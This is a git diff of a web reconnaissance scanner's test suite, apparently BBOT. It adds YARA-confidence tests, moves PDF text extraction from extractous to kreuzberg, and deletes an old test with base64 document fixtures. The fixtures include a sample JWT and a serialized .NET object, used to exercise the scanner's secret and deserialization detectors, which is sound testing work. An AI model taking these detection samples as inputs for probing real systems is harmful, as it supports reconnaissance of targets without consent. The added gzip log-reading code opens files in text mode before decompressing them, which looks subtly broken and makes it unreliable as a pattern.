+ yara_test_html = """ + +

CONFIRMED_SECRET_DATA

+

HIGH_CONFIDENCE_INDICATOR

+

MODERATE_RISK_PATTERN

+

LOW_CONFIDENCE_MATCH

+

UNKNOWN_PATTERN_TYPE

+ + """ + module_test.httpserver.expect_request("/").respond_with_data(yara_test_html) + + async def setup_after_prep(self, module_test): + excavate_module = module_test.scan.modules["excavate"] + excavateruleinstance = excavateTestRule(excavate_module) + + # Add YARA rules with different confidence levels + yara_rules = { + "ConfirmedRule": 'rule ConfirmedRule { meta: description = "Confirmed rule" severity = "HIGH" confidence = "CONFIRMED" strings: $text = "CONFIRMED_SECRET_DATA" condition: $text }', + "HighConfidenceRule": 'rule HighConfidenceRule { meta: description = "High confidence rule" severity = "MEDIUM" confidence = "HIGH" strings: $text = "HIGH_CONFIDENCE_INDICATOR" condition: $text }', + "ModerateConfidenceRule": 'rule ModerateConfidenceRule { meta: description = "Moderate confidence rule" severity = "LOW" confidence = "MODERATE" strings: $text = "MODERATE_RISK_PATTERN" condition: $text }', + "LowConfidenceRule": 'rule LowConfidenceRule { meta: description = "Low confidence rule" severity = "INFORMATIONAL" confidence = "LOW" strings: $text = "LOW_CONFIDENCE_MATCH" condition: $text }', + "UnknownConfidenceRule": 'rule UnknownConfidenceRule { meta: description = "Unknown confidence rule" severity = "INFORMATIONAL" confidence = "UNKNOWN" strings: $text = "UNKNOWN_PATTERN_TYPE" condition: $text }', + } + + for rule_name, rule_content in yara_rules.items(): + excavate_module.add_yara_rule(rule_name, rule_content, excavateruleinstance) + + excavate_module.yara_rules = yara.compile(source="\n".join(excavate_module.yara_rules_dict.values())) + + def check(self, module_test, events): + """Verify findings are created with correct confidence levels.""" + findings = [e for e in events if e.type == "FINDING"] + confidence_findings = {f.data.get("confidence", "UNKNOWN"): f for f in findings} + + # Verify all confidence levels are present + expected_confidences = ["CONFIRMED", "HIGH", "MODERATE", "LOW", "UNKNOWN"] + for confidence in expected_confidences: + assert confidence in confidence_findings, f"Missing finding with confidence: {confidence}" + finding = confidence_findings[confidence] + assert finding.data["confidence"] == confidence + assert f"confidence-{confidence.lower()}" in finding.tags + + class TestExcavateSpiderDedupe(ModuleTestBase): class DummyModule(BaseModule): watched_events = ["URL_UNVERIFIED"] @@ -1105,6 +1153,7 @@ async def handle_event(self, event): dummy_text = "
spider" modules_overrides = ["excavate", "httpx"] targets = ["http://127.0.0.1:8888/"] + config_overrides = {"omit_event_types": []} async def setup_after_prep(self, module_test): self.dummy_module = self.DummyModule(module_test.scan) @@ -1273,13 +1322,14 @@ def check(self, module_test, events): class TestExcavateRAWTEXT(ModuleTestBase): targets = ["http://127.0.0.1:8888/", "test.notreal"] - modules_overrides = ["excavate", "httpx", "filedownload", "extractous"] + modules_overrides = ["excavate", "httpx", "filedownload", "kreuzberg"] config_overrides = { "scope": {"report_distance": 1}, "web": {"spider_distance": 2, "spider_depth": 2}, "modules": { "filedownload": {"output_folder": str(bbot_test_dir / "filedownload")}, }, + "omit_event_types": [], } pdf_data = r"""%PDF-1.3 @@ -1350,15 +1400,7 @@ class TestExcavateRAWTEXT(ModuleTestBase): startxref 1669 %%EOF""" - extractous_response = """This is an email example@blacklanternsecurity.notreal - -An example JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c - -A serialized DOTNET object AAEAAAD/////AQAAAAAAAAAMAgAAAFJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmddXSwgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGFlMwEAAAAIQ29tcGFyZXIQSXRlbUNvdW50AQMAAAAJAwAAAAlTeXN0ZW0uU3RyaW5nW10FAAAACQIAAAAJBAAAAAkFAAAACRcAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAkRAAAACRIAAAAJEwAAAA== - -A full url https://www.test.notreal/about - -A href Click me""" + kreuzberg_response = "This is an email example@blacklanternsecurity.notreal An example JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c A serialized DOTNET object AAEAAAD/////AQAAAAAAAAAMAgAAAFJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5TdHJpbmddXSwgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGFlMwEAAAAIQ29tcGFyZXIQSXRlbUNvdW50AQMAAAAJAwAAAAlTeXN0ZW0uU3RyaW5nW10FAAAACQIAAAAJBAAAAAkFAAAACRcAAAAJCgAAAAkLAAAACQwAAAAJDQAAAAkOAAAACQ8AAAAJEAAAAAkRAAAACRIAAAAJEwAAAA== A full url https://www.test.notreal/about A href Click me" async def setup_after_prep(self, module_test): module_test.set_expect_requests( @@ -1379,13 +1421,13 @@ def check(self, module_test, events): assert open(file).read() == self.pdf_data, f"File at {file} does not contain the correct content" raw_text_events = [e for e in events if e.type == "RAW_TEXT"] assert 1 == len(raw_text_events), "Failed to emit RAW_TEXT event" - assert raw_text_events[0].data == self.extractous_response, ( + assert raw_text_events[0].data == self.kreuzberg_response, ( f"Text extracted from PDF is incorrect, got {raw_text_events[0].data}" ) email_events = [e for e in events if e.type == "EMAIL_ADDRESS"] assert 1 == len(email_events), "Failed to emit EMAIL_ADDRESS event" assert email_events[0].data == "example@blacklanternsecurity.notreal", ( - f"Email extracted from extractous text is incorrect, got {email_events[0].data}" + f"Email extracted from kreuzberg text is incorrect, got {email_events[0].data}" ) finding_events = [e for e in events if e.type == "FINDING"] assert 2 == len(finding_events), "Failed to emit FINDING events" @@ -1410,10 +1452,10 @@ def check(self, module_test, events): assert finding_events[0].data["path"] == str(file), "File path not included in finding event" url_events = [e.data for e in events if e.type == "URL_UNVERIFIED"] assert "https://www.test.notreal/about" in url_events, ( - f"URL extracted from extractous text is incorrect, got {url_events}" + f"URL extracted from kreuzberg text is incorrect, got {url_events}" ) assert "/donot_detect.js" not in url_events, ( - f"URL extracted from extractous text is incorrect, got {url_events}" + f"URL extracted from kreuzberg text is incorrect, got {url_events}" ) @@ -1457,7 +1499,7 @@ def check(self, module_test, events): class TestExcavateBadURLs(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] modules_overrides = ["excavate", "httpx", "hunt"] - config_overrides = {"interactsh_disable": True, "scope": {"report_distance": 10}} + config_overrides = {"interactsh_disable": True, "scope": {"report_distance": 10}, "omit_event_types": []} bad_url_data = """ Help @@ -1468,9 +1510,16 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests({"uri": "/"}, {"response_data": self.bad_url_data}) def check(self, module_test, events): + import gzip + debug_log_content = open(module_test.scan.home / "debug.log").read() + for archived_debug_log in module_test.scan.home.glob("debug.log.*.gz"): + gzipped_content = open(archived_debug_log).read() + ungzipped_content = gzip.decompress(gzipped_content).decode("utf-8") + debug_log_content += ungzipped_content + # make sure our logging is working - assert "Setting scan status to STARTING" in debug_log_content + assert "Setting scan status to RUNNING" in debug_log_content # make sure we don't have any URL validation errors assert "Error Parsing reconstructed URL" not in debug_log_content assert "Error sanitizing event data" not in debug_log_content diff --git a/bbot/test/test_step_2/module_tests/test_module_extractous.py b/bbot/test/test_step_2/module_tests/test_module_extractous.py deleted file mode 100644 index 19380dbf06..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_extractous.py +++ /dev/null @@ -1,66 +0,0 @@ -import base64 -from pathlib import Path -from .base import ModuleTestBase - -from ...bbot_fixtures import * - - -class TestExtractous(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] - modules_overrides = ["extractous", "filedownload", "httpx", "excavate", "speculate"] - config_overrides = { - "web": { - "spider_distance": 2, - "spider_depth": 2, - }, - "modules": { - "filedownload": { - "output_folder": bbot_test_dir / "filedownload", - }, - }, - } - - pdf_data = base64.b64decode( - "JVBERi0xLjMKJe+/ve+/ve+/ve+/vSBSZXBvcnRMYWIgR2VuZXJhdGVkIFBERiBkb2N1bWVudCBodHRwOi8vd3d3LnJlcG9ydGxhYi5jb20KMSAwIG9iago8PAovRjEgMiAwIFIKPj4KZW5kb2JqCjIgMCBvYmoKPDwKL0Jhc2VGb250IC9IZWx2ZXRpY2EgL0VuY29kaW5nIC9XaW5BbnNpRW5jb2RpbmcgL05hbWUgL0YxIC9TdWJ0eXBlIC9UeXBlMSAvVHlwZSAvRm9udAo+PgplbmRvYmoKMyAwIG9iago8PAovQ29udGVudHMgNyAwIFIgL01lZGlhQm94IFsgMCAwIDU5NS4yNzU2IDg0MS44ODk4IF0gL1BhcmVudCA2IDAgUiAvUmVzb3VyY2VzIDw8Ci9Gb250IDEgMCBSIC9Qcm9jU2V0IFsgL1BERiAvVGV4dCAvSW1hZ2VCIC9JbWFnZUMgL0ltYWdlSSBdCj4+IC9Sb3RhdGUgMCAvVHJhbnMgPDwKCj4+IAogIC9UeXBlIC9QYWdlCj4+CmVuZG9iago0IDAgb2JqCjw8Ci9QYWdlTW9kZSAvVXNlTm9uZSAvUGFnZXMgNiAwIFIgL1R5cGUgL0NhdGFsb2cKPj4KZW5kb2JqCjUgMCBvYmoKPDwKL0F1dGhvciAoYW5vbnltb3VzKSAvQ3JlYXRpb25EYXRlIChEOjIwMjQwNjAzMTg1ODE2KzAwJzAwJykgL0NyZWF0b3IgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAvS2V5d29yZHMgKCkgL01vZERhdGUgKEQ6MjAyNDA2MDMxODU4MTYrMDAnMDAnKSAvUHJvZHVjZXIgKFJlcG9ydExhYiBQREYgTGlicmFyeSAtIHd3dy5yZXBvcnRsYWIuY29tKSAKICAvU3ViamVjdCAodW5zcGVjaWZpZWQpIC9UaXRsZSAodW50aXRsZWQpIC9UcmFwcGVkIC9GYWxzZQo+PgplbmRvYmoKNiAwIG9iago8PAovQ291bnQgMSAvS2lkcyBbIDMgMCBSIF0gL1R5cGUgL1BhZ2VzCj4+CmVuZG9iago3IDAgb2JqCjw8Ci9GaWx0ZXIgWyAvQVNDSUk4NURlY29kZSAvRmxhdGVEZWNvZGUgXSAvTGVuZ3RoIDEwNwo+PgpzdHJlYW0KR2FwUWgwRT1GLDBVXEgzVFxwTllUXlFLaz90Yz5JUCw7VyNVMV4yM2loUEVNXz9DVzRLSVNpOTBNakdeMixGUyM8UkM1K2MsbilaOyRiSyRiIjVJWzwhXlREI2dpXSY9NVgsWzVAWUBWfj5lbmRzdHJlYW0KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUgZiAKMDAwMDAwMDA3MyAwMDAwMCBuIAowMDAwMDAwMTA0IDAwMDAwIG4gCjAwMDAwMDAyMTEgMDAwMDAgbiAKMDAwMDAwMDQxNCAwMDAwMCBuIAowMDAwMDAwNDgyIDAwMDAwIG4gCjAwMDAwMDA3NzggMDAwMDAgbiAKMDAwMDAwMDgzNyAwMDAwMCBuIAp0cmFpbGVyCjw8Ci9JRCAKWzw4MGQ5ZjViOTY0ZmM5OTI4NDUwMWRlYjdhNmE2MzdmNz48ODBkOWY1Yjk2NGZjOTkyODQ1MDFkZWI3YTZhNjM3Zjc+XQolIFJlcG9ydExhYiBnZW5lcmF0ZWQgUERGIGRvY3VtZW50IC0tIGRpZ2VzdCAoaHR0cDovL3d3dy5yZXBvcnRsYWIuY29tKQoKL0luZm8gNSAwIFIKL1Jvb3QgNCAwIFIKL1NpemUgOAo+PgpzdGFydHhyZWYKMTAzNAolJUVPRg==" - ) - - docx_data = base64.b64decode( - "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